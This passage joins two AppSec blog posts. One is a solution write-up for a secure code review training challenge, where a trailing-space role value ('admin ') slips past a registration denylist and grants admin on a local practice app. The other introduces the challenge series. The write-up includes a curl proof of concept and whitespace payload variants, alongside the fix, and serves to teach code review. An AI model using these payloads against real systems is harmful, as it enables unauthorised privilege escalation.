• DOM mutation — public/app.js, which takes API JSON responses (usernames, emails, roles, course data) and writes them into the page

4 & 5. Threat Modeling and Mitigation Review

This is where most of the actual review time goes, and it splits cleanly into the two buckets from the methodology: business-logic vulnerabilities and source-to-sink vulnerabilities.

Business logic first. The obvious candidates here are broken authentication, broken authorization, and — because of what we noted in the entry points step — how role assignment actually works.

Authentication turned out to be solid: an authenticateToken middleware checks either the Authorization header or the cookie, verifies the JWT signature, and re-fetches the user from the database on every request (so a revoked user can't keep using a still-valid token). It's attached to every course and admin route.

Role-based authorization also looked fine on inspection — a requireRole middleware gates the admin routes, and role never comes from anything other than the authenticated user's DB record.

IDOR was a natural thing to check next, since we have resource IDs (courses, users) flowing through URLs. But in this app, courses have no private/ownership model — every course is visible to every authenticated user regardless of ID — so there’s no meaningful authorization boundary to bypass there. Worth checking, low value once you understand the intended behavior, so it’s fine to move past it quickly.

Then there’s the piece flagged back in step 2: role assignment at registration. Only an existing admin can promote someone, and the registration endpoint is supposed to block you from just registering as admin outright. On the surface, both of those checks are present in the code. This is the point in the review where it's tempting to conclude "authorization looks fine" and move on — and that's exactly the trap the challenge is built around.

Source-to-sink next. Each of the sinks from step 3 gets checked against how it’s actually being fed:

• XSS via EJS — the template uses <%= %>, which HTML-escapes <, >, ", and & automatically. A <script> tag in a username renders as inert text.
• XSS via client JS — app.js uses textContent and element properties exclusively, never innerHTML. Per the MDN docs, textContent doesn't parse its input as HTML at all, so there's no injection path here even with attacker-controlled API data.
• CSRF — the auth cookie is set with SameSite=Strict. A forged cross-site request simply won't carry the cookie, so it never reaches an authenticated context. (Bearer-token API clients aren't affected by CSRF in the first place.)
• SQL injection — every query in database.js uses parameterized placeholders ($1, $2, …) rather than string concatenation, so there's no way to break out of the query structure.

At this point, every source-to-sink vector checks out clean, and the business-logic checks all appear to check out too. This is usually the moment where a review either stops (and misses something) or where you go back and look harder at the piece that felt slightly too convenient.

Part II — Finding, Exploiting, and Fixing the Bug

6. The Vulnerability: Two True Statements That Aren’t Both Enforced the Same Way

The role-assignment logic rests on two claims:

1. You cannot register as admin.
2. Only an existing admin can promote another user to admin.

The second one holds up cleanly — it’s just requireRole('admin') on the promote route, verified against the authenticated user's role from the JWT. Nothing subtle there.

The first one is where it falls apart, and the reason is a mismatch between where a check happens and where a transformation happens.

In src/routes/auth.js, the registration handler rejects the request outright if role === 'admin' — a straightforward denylist check against the raw input. But by the time that value reaches the database layer, createUser() (and the VALID_ROLES allowlist that runs just before it) both call role.trim() before using the value. So the guard checks one representation of the input, and the storage layer commits a different representation.

Send "admin " — with a trailing space — and here's what happens:

• The guard compares "admin " === "admin" → false. No rejection.
• VALID_ROLES.includes(role.trim()) → "admin ".trim() is "admin", which is in the allowlist. Passes.
• createUser() trims again before the INSERT, storing the literal string "admin".
• The JWT returned in the registration response is built from that DB row, so it already carries role: "admin".

You never touch the promotion endpoint at all. One request, one trailing space, immediate admin.

Proof of concept:

# 1. Register with a trailing space in the role
TOKEN=$(curl -s -X POST http://localhost:3000/api/auth/register \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","email":"attacker@evil.com","password":"pass123","role":"admin "}' \
  | jq -r '.token')
# The response's user.role is already "admin" - the token encodes that role.
# 2. Immediately call an admin-only endpoint
curl -s -X GET http://localhost:3000/api/admin/users \
  -H "Authorization: Bearer $TOKEN" | jq .
# → returns the full user list, confirming admin access

Doing this through Burp against the actual UI is just as easy: intercept the registration request, change "role":"admin" to "role":"admin ", forward it, and log in as that new user. The response comes back without the "cannot register as admin" error, and the account already has admin privileges — no promotion step required.

A few other payloads work identically, since they all reduce to "admin" once trimmed:

• "admin " (trailing space)
• " admin" (leading space)
• "admin\t" (tab)
• " admin " (both)

One thing that’s worth calling out explicitly, because it’s easy to assume otherwise: "Admin" (capitalized) does not work here. The allowlist check (VALID_ROLES.includes(role.trim())) is case-sensitive, so "Admin".trim() is still "Admin", which isn't in the allowlist — that variant gets rejected, almost by accident, because case-folding wasn't part of the transformation chain in this particular codebase. It's a useful reminder that these bugs are about a specific mismatched transformation, not about "any weird string bypasses everything."

7. The Fix

The core problem is a check performed on one representation of a value and a write performed on another. The fix is to make sure both operate on the same, already-normalized value — and to flip the registration check from a denylist to an allowlist while we’re at it, since denylists only work as well as the list of things you thought to deny:

const { username, email, password, role } = req.body;
if (!username || !email || !password || !role) {
  return res.status(400).json({ error: 'All fields are required' });
}
const normalizedRole = role.trim().toLowerCase();
const allowedRoles = ['student', 'teacher'];
if (!allowedRoles.includes(normalizedRole)) {
  return res.status(403).json({ error: 'Cannot register as admin' });
}
// Pass the already-normalized value downstream so storage stays consistent
const user = await db.createUser(username, email, passwordHash, normalizedRole);

Now the exact same value that gets checked is the one that gets stored — there’s no longer a gap for a transformation to open up between the two.

A few defense-in-depth options worth layering on top, in case the application-layer fix is ever missed or bypassed elsewhere:

• A database CHECK constraint on the role column (CHECK (role IN ('student', 'teacher', 'admin'))), which would have stopped this exploit even without touching the application code at all.
• Remove the trim() call from createUser. Normalization belongs at the boundary — the route handler — not silently inside the data-access layer. That's exactly where this gap was introduced.
• Derive the JWT role from the normalized value, so it can never diverge from what was actually validated.

8. Why This Matters Beyond Whitespace

The specific bug here is a trailing space, but the pattern is much bigger than that, and it’s the main thing I want people to take away from this challenge: whenever a security check runs against one representation of an input, and a later transformation produces a different representation that actually gets used or stored, you have a gap — regardless of what that transformation is. Whitespace trimming is just the easiest one to demonstrate. The same class of bug shows up with:

• Case folding — checking role !== 'admin', then lowercasing (or hitting a case-insensitive DB collation) downstream.
• Unicode normalization — NFC/NFD normalization or full-width/half-width folding turning a fullwidth “ａdmin” into “admin” after the check already passed.
• URL/percent-decoding — validating a raw parameter, then decoding it again later, letting something like double-encoded input resolve into a disallowed value.
• Path canonicalization — resolving .. or redundant separators after a path has already been allow/deny-checked (classic path traversal territory).
• Type coercion — validating a string form of a value, then having a downstream layer coerce it into something a loosely-typed language interprets differently.
• Deduplication — collapsing repeated characters or delimiters after the check has already run.

The fix pattern is the same no matter which transformation is involved: normalize first, validate the normalized form, and pass that same normalized value everywhere downstream. Never validate one representation of a value and act on another.

This isn’t a theoretical concern, either. HashiCorp Vault has had multiple real authentication and authorization flaws rooted in exactly this class of discrepancy — different components handling the same input inconsistently. If you want to see this pattern play out in a production-grade secrets manager, Cyata’s write-up on cracking Vault’s authentication and authorization is a great follow-up read. It’s also cataloged as CWE-179: Incorrect Behavior Order: Early Validation if you want the formal classification, alongside the OWASP Authorization Cheat Sheet and OWASP Input Validation Cheat Sheet for general guidance on avoiding it.

Wrapping Up

If you worked through Schooled yourself, I’d genuinely like to know how your threat model compared — did you catch the role-assignment gap on the first pass, or did it take a second look after everything else checked out clean? Drop your thoughts in the comments, or let me know if you think we missed anything in the review.

Challenge #2 is live now if you’re ready for the next one, and I’ll be back in a couple of weeks with its solution and a new challenge alongside it.

Links:

• 🎥 Video walkthrough: https://youtu.be/Oc-IlLdRusE
• 📄 Full solution write-up: SOLUTION.md
• 📂 Repo: the-secure-code-review-challenge
• 🧩 Try Challenge #1: challenges/001-schooled
• 🧩 Try Challenge #2: challenges/002-professional

Secure Code Review Challenge #1: Schooled — Solution (One Whitespace Character Away From Admin) was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.

If you’ve been looking for resources to practice secure code review, you’ve probably found one or two of these online already. The problem, in my opinion, is that most of them use sample code that’s just meant to train you to recognize dangerous patterns — things like SQL injection or IDOR. That’s useful, but it’s not what secure code review actually looks like in practice.

In reality, secure code review is a much bigger and more complex process. It includes going through an application, understanding how it works and its architecture, identifying the entry points, figuring out which vulnerabilities are actually relevant, checking where (and whether) they’re mitigated in the code — and then, for anything you suspect is a real vulnerability, confirming it’s exploitable and suggesting a fix that doesn’t break functionality.

There just aren’t good resources out there to practice that full process. So I built one.

Who This Is For

This series is aimed at AppSec engineers and developers who want to get better at reviewing code for security issues, as well as pentesters, bug bounty hunters, and security researchers who want more practice reading and reasoning about real application code.

What This Series Is

The Secure Code Review Challenge is a set of challenges you can work through to practice the entire secure code review process, not just pattern recognition. A few things make these different from what’s already out there:

Full applications, not snippets. Every challenge is a realistic application with its own database, backend, and UI — you review it the way you’d review a real codebase, not an isolated function.

Vulnerabilities based on real-world issues. The bugs planted in each challenge are grounded in actual CVEs and vulnerability writeups, not invented for the exercise.

No multiple choice. There’s no list of options to guess from — you identify the vulnerability yourself, the same way you would in a real review. That’s what makes this a complete review exercise rather than a recognition quiz.

The full methodology, not just spotting the bug. Each challenge is meant to be worked through using the suggested methodology in the repo — more on that below.

The Methodology Behind the Challenges

Each challenge is meant to be worked through using the suggested methodology in the repo, which builds on the same two-category mental model I laid out in my threat-model-first methodology story: most security issues are either business-logic vulnerabilities (missing controls like authentication, authorization, or CSRF protection — things a scanner won’t catch, because whether they’re missing depends on the app’s specific logic) or source-to-sink vulnerabilities (user-controlled input reaching a dangerous function without enough validation — the pattern behind SQL injection, XSS, SSRF, and similar bugs).

The suggested steps for working through each challenge:

• Understand the application’s scope and architecture.
• Identify the entry points — web pages and backend endpoints/routes.
• Identify the dangerous sinks in the code and its dependencies (SQL queries, OS commands, HTML rendering, and so on).
• Threat-model using the two categories — business-logic and source-to-sink.
• For each threat, determine whether it’s mitigated in the code — and how or where.
• Identify potential vulnerabilities and try to exploit them.
• For each exploitable vulnerability, suggest a fix.

That’s exactly the process each challenge is designed to put into practice — not by handing you a snippet and asking “what’s wrong with this,” but by giving you a real application and asking you to go through the whole process yourself, the way you would on the job.

How It Works

The first challenge, 001-schooled, is already live on the GitHub repo, and this is going to be a biweekly series: every two weeks, I’ll publish the solution to the current challenge along with a brand new one.

Each challenge comes with its own README covering how the application works, some details on the architecture, and how to run it locally — you’ll be able to spin it up, interact with it as a user (register an account, log in, get a JWT token, and so on), and start working through it. Everything runs locally with throwaway secrets — these apps aren’t meant to be deployed anywhere public.

The repo includes a SOLUTION_TEMPLATE.md you can copy into your own private notes and fill out for each challenge — covering architecture, relevant threats, mitigations, exploitability, and fixes. You're welcome to use your own approach instead, but it's there if you want a starting point.

One important note: don’t post your findings, exploit, or fix in the repo’s Issues or Discussions until the official solution is published — keep your notes private until then so you don’t spoil it for other people still working through it. A public wiki of vulnerability write-ups (to reference while you work through challenges) is coming soon.

Try It

Head over to the repo, clone challenge 001, and give it a try. If you’re looking for a way to actually practice secure code review — not just recognize a handful of vulnerability patterns — I think this is built for you.

I’ll be sharing my own solution to the first challenge in a couple of weeks, both here and on the channel, along with the next challenge. Let me know if you give it a try, and feel free to leave any feedback in the comments. Stay tuned!

Introducing the Secure Code Review Challenge (Practice Real-World Reviews) was originally published in AppSec Untangled on Medium, where people are continuing the conversation by highlighting and responding to this story.